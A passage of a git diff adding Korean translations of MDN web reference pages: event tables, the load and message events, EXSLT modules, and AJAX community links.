+ <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+ </tr>
+ <tr>
+ <td>{{Event("ValueChange")}}</td>
+ <td></td>
+ <td>XUL</td>
+ <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Add-on-specific_events">Add-on-specific events</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Event Name</th>
+ <th scope="col">Event Type</th>
+ <th scope="col">Specification</th>
+ <th scope="col">Fired when...</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A touch point is swiped across the touch surface</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points start to move away from each other.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points start to rotate around a point.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Two touch points are tapped on the touch surface.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Content has been repainted.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A popup has been blocked</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A window has been created.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A window is about to be closed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+ <td></td>
+ <td><em>Addons specifc</em></td>
+ <td>The title of a window has changed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+ <td></td>
+ <td><em>Addons specifc</em></td>
+ <td>A link has been added a document.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+ <td></td>
+ <td><em>Addons specifc</em></td>
+ <td>A link has been removed inside from a document.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A <code>meta</code> element has been added to a document.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A <code>meta</code> element has been removed from a document.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A modal dialog is about to open.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A modal dialog has been closed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>The content of an element has been auto-completed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>The frame has finished loading (but not its dependent resources).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is shown.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is closed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Browser fullscreen mode has been entered or left.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>The session store will stop tracking this window.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>The session store will stop tracking this tab.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab is about to be restored.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been restored.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A window state has switched to "ready".</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A window state has switched to "busy".</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been opened.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been closed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been selected.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been shown.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been hidden.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been pinned.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+ <td></td>
+ <td><em>Addons specific</em></td>
+ <td>A tab has been unpinned.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Developer_tool-specific_events">Developer tool-specific events</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Event Name</th>
+ <th scope="col">Event Type</th>
+ <th scope="col">Specification</th>
+ <th scope="col">Fired when...</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+ <td></td>
+ <td><em>devtools specific</em></td>
+ <td>The "Rules" view of the style inspector has been updated.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+ <td></td>
+ <td><em>devtools specific</em></td>
+ <td>The "Rules" view of the style inspector has been changed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+ <td></td>
+ <td><em>devtools specific</em></td>
+ <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("Event")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+</ul>
diff --git a/files/ko/web/events/load/index.html b/files/ko/web/events/load/index.html
new file mode 100644
index 0000000000..baef50af25
--- /dev/null
+++ b/files/ko/web/events/load/index.html
@@ -0,0 +1,128 @@
+---
+title: load
+slug: Web/Events/load
+tags:
+ - Event
+ - 이벤트
+translation_of: Web/API/Window/load_event
+---
+<p><code>load</code> 이벤트는 리소스와 그것에 의존하는 리소스들의 로딩이 완료되면 실행됩니다.</p>
+
+<p> </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 class="brush: html" id="Window">Window</h3>
+
+<pre class="brush: html">&lt;script&gt;
+ window.addEventListener("load", function(event) {
+ console.log("All resources finished loading!");
+ });
+&lt;/script&gt;</pre>
+
+<h3 class="brush: html" id="script_엘리먼트"><code>script</code> 엘리먼트</h3>
+
+<pre class="brush: html">&lt;script&gt;
+ var script = document.createElement("script");
+ script.addEventListener("load", function(event) {
+ console.log("Script finished loading and executing");
+ });
+ script.src = "http://example.com/example.js";
+ script.async = true;
+ document.getElementsByTagName("script")[0].parentNode.appendChild(script);
+&lt;/script&gt;</pre>
+
+<h2 id="일반_정보">일반 정보</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">스펙</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">인터페이스</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">취소가능 여부</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">타겟</dt>
+ <dd style="margin: 0 0 0 120px;">Window,Document,Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">기본 동작</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">속성</th>
+ <th scope="col">타입</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td><code>{{domxref("EventTarget")}}</code></td>
+ <td>The event target (the topmost target in the DOM tree).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td><code>{{domxref("DOMString")}}</code></td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td><code>{{domxref("Boolean")}}</code></td>
+ <td>Whether the event normally bubbles or not.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td><code>{{domxref("Boolean")}}</code></td>
+ <td>Whether the event is cancellable or not.</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td><code>{{domxref("WindowProxy")}}</code></td>
+ <td><code>{{domxref("Document.defaultView", "document.defaultView")}}</code> (<code>window</code> of the document)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td>0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="스펙_정보">스펙 정보</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('UI Events', '#event-type-load', 'load')}}</td>
+ <td>{{Spec2('UI Events')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-load', 'Load event')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>
+ <p>이것은 문서 로딩이 끝날때 수행되는 단계와 연결되는 섹션과 연결됩니다. 'load' 이벤트는 많은 엘리먼트들에서도 발생합니다. 그리고 스펙 문서에서는 많은 곳에서 "<a href="https://html.spec.whatwg.org/multipage/parsing.html#delay-the-load-event">load이벤트를 지연할 수 있는</a>" 것들을 언급한다는 것을 주의하십시오.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="관련_이벤트">관련 이벤트</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/ko/web/events/message/index.html b/files/ko/web/events/message/index.html
new file mode 100644
index 0000000000..1796b8ee0c
--- /dev/null
+++ b/files/ko/web/events/message/index.html
@@ -0,0 +1,152 @@
+---
+title: message
+slug: Web/Events/message
+translation_of: Web/API/BroadcastChannel/message_event
+---
+<p>메시지 이벤트는 메시지가 수신되었음을 알리는 메시지, {{domxref("WebSocket")}}, {{domxref("RTCDataConnection")}} 또는 {{domxref("BroadcastChannel")}} 개체를 알려 줍니다.</p>
+
+<p>대상이 {{domxref("RTCDataConnection")}}, 인 경우 이 이벤트에 대한 이벤트 핸들러를 {{domxref("RTCDataConnection.onmessage")}}속성을 통해 추가할 수 있습니다.</p>
+
+<p>대상이 {{domxref("BroadcastChannel")}}인 경우, 이 이벤트에 대한 이벤트 핸들러를 {{domxref("BroadcastChannel.onmessage")}} 속성을 통해 추가할 수 있습니다.</p>
+
+<h2 id="일반_정보">일반 정보</h2>
+
+<dl>
+ <dt style="width: 120px; text-align: right; float: left;">인터페이스</dt>
+</dl>
+
+<dl>
+ <dd style="margin: 0px 0px 0px 120px;">{{domxref("MessageEvent")}}</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Bubbles</dt>
+ <dd style="margin: 0px 0px 0px 120px;">No</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Cancelable</dt>
+ <dd style="margin: 0px 0px 0px 120px;">No</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Target</dt>
+ <dd style="margin: 0px 0px 0px 120px;">{{domxref("RTCDataChannelEvent")}}, {{domxref("WebSocket")}}, {{domxref("BroadcastChannel")}}</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Default Action</dt>
+ <dd style="margin: 0px 0px 0px 120px;">None</dd>
+</dl>
+
+<h2 id="특성">특성</h2>
+
+<p><em>{{domxref("Event")}}</em>가 진행되는 동안 <em> {{domxref("MessageEvent")}} </em>이러한 속성을 구현합니다.</p>
+
+<dl>
+ <dt><code>data</code> {{readOnlyInline}}</dt>
+ <dd>수신된 메시지를 포함하는 {{domxref("DOMString")}} 가 있습니다.</dd>
+</dl>
+
+<h2 id="방법">방법</h2>
+
+<p><em>{{domxref("Event")}}</em>가 진행되는 동안 <em> {{domxref("MessageEvent")}} </em>이러한 속성을 구현합니다.</p>
+
+<h2 id="관련_자료">관련 자료</h2>
+
+<ul>
+ <li>{{event("open")}}, {{event("close")}}.</li>
+</ul>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상황</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#event-datachannel-message', 'message on RTCDataChannel') }}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>{{domxref("RTCDataChannel")}} 를 {{domxref("EventTarget")}}로 추가하고 이 이벤트가 전송될 시기를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#', 'message on BroadcastChannel')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>{{domxref("RTCDataChannel")}} 를 {{domxref("EventTarget")}}로 추가하고 이 이벤트가 전송될 시기를 정의합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("BroadcastChannel")}} {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(38)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("BroadcastChannel")}}  {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(38)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="보기">보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>BroadcastChannel API</li>
+ <li>WebSockets</li>
+</ul>
diff --git a/files/ko/web/exslt/index.html b/files/ko/web/exslt/index.html
new file mode 100644
index 0000000000..9386e17153
--- /dev/null
+++ b/files/ko/web/exslt/index.html
@@ -0,0 +1,96 @@
+---
+title: EXSLT
+slug: Web/EXSLT
+tags:
+ - EXSLT
+ - XSLT
+ - XSLT_Reference
+translation_of: Web/EXSLT
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }} EXSLT는 <a href="ko/XSLT">XSLT</a>의 확장입니다. 많은 모듈이 있으며, Firefox에서 지원되는 것들은 다음과 같습니다.</p>
+<dl>
+ <dt>
+ <a href="#Common">Common</a> (<code>exsl</code>)</dt>
+ <dd>
+ 기본적인 확장 요소와 함수를 제공합니다.</dd>
+ <dt>
+ <a href="#Math">Math</a> (<code>math</code>)</dt>
+ <dd>
+ 노드를 비교하는 기능을 제공합니다.</dd>
+ <dt>
+ <a href="#Regular_expressions">Regular expressions</a> (<code>regexp</code>)</dt>
+ <dd>
+ JavaScript 구문 형식의 정규 표현식을 사용할 수 있는 기능을 제공합니다.</dd>
+ <dt>
+ <a href="#Sets">Sets</a> (<code>set</code>)</dt>
+ <dd>
+ 집합을 처리하는 기능을 제공합니다.</dd>
+ <dt>
+ <a href="#Strings">Strings</a> (<code>str</code>)</dt>
+ <dd>
+ 문자열을 처리하는 함수를 제공합니다.</dd>
+</dl>
+<h3 id="EXSLT_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name="EXSLT_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">EXSLT 사용하기</h3>
+<p>EXSLT 확장을 사용하려면 스타일시트에 사용할 확장 기능의 이름공간(namespace)을 선언해야 합니다. 다음 예제에서는 정규 표현식 꾸러미를 사용하는 경우입니다.</p>
+<pre class="eval">&lt;xsl:stylesheet version="1.0"
+ xmlns:xsl="<a class="external" href="http://www.w3.org/1999/XSL/Transform" rel="freelink">http://www.w3.org/1999/XSL/Transform</a>"
+ xmlns:regexp="<a class="external" href="http://exslt.org/regular-expressions" rel="freelink">http://exslt.org/regular-expressions</a>"
+ extension-element-prefixes="regexp"&gt;
+
+&lt;xsl:import href="regexp.xsl" /&gt;
+
+...
+
+&lt;/xsl:stylesheet&gt;
+</pre>
+<h3 id="Common" name="Common">Common</h3>
+<p>EXSLT Common 꾸러미는 XSLT의 기능을 확장하는 기본적인 함수들을 제공합니다. Common 꾸러미의 이름공간은 <code><span class="nowiki">http://exslt.org/common</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98" name=".ED.95.A8.EC.88.98">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/exsl/node-set">exsl:node-set</a></li>
+ <li><a href="ko/EXSLT/exsl/object-type">exsl:object-type</a></li>
+</ul>
+<h3 id="Math" name="Math">Math</h3>
+<p>EXSLT Math 꾸러미는 숫자 값들에 대한 처리와 노드를 비교하는 일들을 수행하는 함수를 제공합니다. Math 꾸러미의 이름공간은 <code><span class="nowiki">http://exslt.org/math</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_2" name=".ED.95.A8.EC.88.98_2">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/math/highest">math:highest</a></li>
+ <li><a href="ko/EXSLT/math/lowest">math:lowest</a></li>
+ <li><a href="ko/EXSLT/math/max">math:max</a></li>
+ <li><a href="ko/EXSLT/math/min">math:min</a></li>
+</ul>
+<h3 id="Regular_expressions" name="Regular_expressions">Regular expressions</h3>
+<p>EXSLT 정규 표현식 꾸러미는 JavaScript 스타일의 정규 표현식을 사용하여 텍스트의 검사, 일치, 치완 등을 수행하는 함수를 제공합니다.</p>
+<p>EXSLT 정규 표현식의 이름공간은 <code><span class="nowiki">http://exslt.org/regular-expressions</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_3" name=".ED.95.A8.EC.88.98_3">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/regexp/match">regexp:match</a></li>
+ <li><a href="ko/EXSLT/regexp/replace">regexp:replace</a></li>
+ <li><a href="ko/EXSLT/regexp/test">regexp:test</a></li>
+</ul>
+<h3 id="Sets" name="Sets">Sets</h3>
+<p>EXSLT Sets 꾸러미는 집합 연산을 수행하는 함수를 제공합니다. 이 함수들의 이름공간은 <code><span class="nowiki">http://exslt.org/sets</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_4" name=".ED.95.A8.EC.88.98_4">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/set/difference">set:difference</a></li>
+ <li><a href="ko/EXSLT/set/distinct">set:distinct</a></li>
+ <li><a href="ko/EXSLT/set/intersection">set:intersection</a></li>
+ <li><a href="ko/EXSLT/set/has-same-node">set:has-same-node</a></li>
+ <li><a href="ko/EXSLT/set/leading">set:leading</a></li>
+ <li><a href="ko/EXSLT/set/trailing">set:trailing</a></li>
+</ul>
+<h3 id="Strings" name="Strings">Strings</h3>
+<p>EXSLT Strings 꾸러미는 문자열을 처리하는 함수를 제공합니다. Strings 꾸러미의 이름공간은 <code><span class="nowiki">http://exslt.org/sets</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_5" name=".ED.95.A8.EC.88.98_5">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/str/concat">str:concat</a></li>
+ <li><a href="ko/EXSLT/str/split">str:split</a></li>
+ <li><a href="ko/EXSLT/str/tokenize">str:tokenize</a></li>
+</ul>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a class="external" href="http://www.exslt.org/">EXSLT web site</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/EXSLT", "es": "es/EXSLT", "fr": "fr/EXSLT" } ) }}</p>
diff --git a/files/ko/web/guide/ajax/community/index.html b/files/ko/web/guide/ajax/community/index.html
new file mode 100644
index 0000000000..76af2fd193
--- /dev/null
+++ b/files/ko/web/guide/ajax/community/index.html
@@ -0,0 +1,21 @@
+---
+title: Community
+slug: Web/Guide/AJAX/Community
+tags:
+ - AJAX
+translation_of: Web/Guide/AJAX/Community
+---
+<p>AJAX와 관련된 유용한  mailing lists, newsgroups, 포럼, 다른 커뮤니티를 원한다면, 링크를 클릭하세요.</p>
+
+<h2 id="Ajax_Resources" name="Ajax_Resources">Ajax Resources</h2>
+
+<h2 id="Ajax_Workshops__Courses" name="Ajax_Workshops_&amp;_Courses">Ajax Workshops and Courses</h2>
+
+<ul>
+ <li><a class="external" href="http://skillsmatter.com/go/ajax-ria">skillsmatter.com</a>: JavaScript, Ajax 그리고 Reverse Ajax 기술의 대한 강의와 이벤트</li>
+ <li><a href="https://www.telerik.com/forums/aspnet-ajax" rel="noopener">telerik.com</a>: Ajax의 관한 활발한 커뮤니티 포럼</li>
+ <li><a href="https://community.tableau.com/search.jspa?q=ajax" rel="noopener">community.tableau.com</a>: Ajax에 사용가능한 커뮤니티 지원 포럼 및 강좌</li>
+ <li><a href="https://www.codementor.io/community/search?q=ajax" rel="noopener">codementor.io</a>: Ajax 포럼 및 튜토리얼이 있는 소셜 플랫폼</li>
+ <li><a href="https://www.lynda.com/search?q=ajax" rel="noopener">lynda.com</a>: Ajax 기초를 배울 수 있는 튜토리얼 제공</li>
+ <li><a href="https://www.onlineinterviewquestions.com/ajax-interview-questions/" rel="bookmark">Ajax </a>인터뷰 질문 및 질문의 답변<span class="comment">Interwiki links</span></li>
+</ul>
diff --git a/files/ko/web/guide/ajax/getting_started/index.html b/files/ko/web/guide/ajax/getting_started/index.html
new file mode 100644
index 0000000000..35ba540c6f
--- /dev/null
+++ b/files/ko/web/guide/ajax/getting_started/index.html
@@ -0,0 +1,296 @@
+---
+title: Ajax 시작하기
+slug: Web/Guide/AJAX/Getting_Started
+tags:
+ - AJAX
+ - API
+ - Advanced
+ - JavaScript
+ - WebMechanics
+ - XMLHttpRequest
+translation_of: Web/Guide/AJAX/Getting_Started
+---
